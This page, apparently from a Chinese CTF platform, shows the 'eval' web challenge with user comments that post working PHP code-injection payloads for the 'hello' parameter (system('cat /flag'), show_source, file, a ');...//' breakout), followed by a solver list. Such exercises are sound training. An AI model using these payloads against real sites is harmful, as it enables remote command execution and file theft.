evalWEB 未解决

分数: 15 金币: 1
题目作者: harry
一  血: moren448
一血奖励: 1金币
解  决: 20348
提  示:
描  述:
eval
评论
detian1234 4月前

网站直接运行你输入的内容,你输入指令让它打开存 flag 的文件,域名后面输入 /?hello=);show_source('flag.php');//

回复 0

kris6 4月前

?hello=eval(system(%27cat%20/flag%27))

回复 0

wyz 4月前

构造?hello=);system('cat flag.php');//,直接抓包,就找到flag

回复 1

b2026tf 5月前

http://171.80.2.169:17829/?hello=eval(system(%27cat%20/flag%27))

回复 0

syhaisy 5月前

GET /?hello=system('cat+flag.php') HTTP/1.1

回复 0

FTJJJ 5月前

?hello=eval(system('cat flag.php|grep {'))

回复 0

kitniu 6月前

file()是 " 的HTML 实体编码,是 PHP 内置的文件系统函数,核心功能是将整个文件按行读入一个字符串数组,每行(含换行符)为一个数组元素。 http://171.80.2.169:10115/?hello=file(%27flag.php%27)

回复 0

小小书生 6月前

?hello=eval(system(%27cat%20/flag%27))

回复 1

19153693078 6月前

根据代码php文件中包含flag.php 将传值hello得结果赋值给a,输出a得值,?hello=1 输出int 1,尝试将结果换成flag.php输出string(8) "flag.php",格式还是有问题的,考虑其是php文件,尝试?hello=file("flag.php"),得到文件中内容

回复 0

auroraSEA 6月前

?hello=show_source(%27flag.php%27)

回复 1

WriteUp

image
harry

1 金币

评分(13)

解题动态

小白修炼日常 攻破了该题 28分钟前
tafeishi 攻破了该题 1小时前
diandianying 攻破了该题 21小时前
amuliang1 攻破了该题 23小时前
恣睢 攻破了该题 1天前
xiaoqixy1 攻破了该题 1天前
lonely_wolf 攻破了该题 1天前
soymilk 攻破了该题 1天前
gedeer 攻破了该题 2天前
ysjy 攻破了该题 2天前
cholmon 攻破了该题 2天前
ling_x 攻破了该题 2天前
Anos 攻破了该题 3天前
15369226763 攻破了该题 3天前
人生1234 攻破了该题 3天前
asasehotaru 攻破了该题 3天前
wwwwander 攻破了该题 4天前
re_void 攻破了该题 4天前
wefyh 攻破了该题 4天前
16533261 攻破了该题 4天前
问题反馈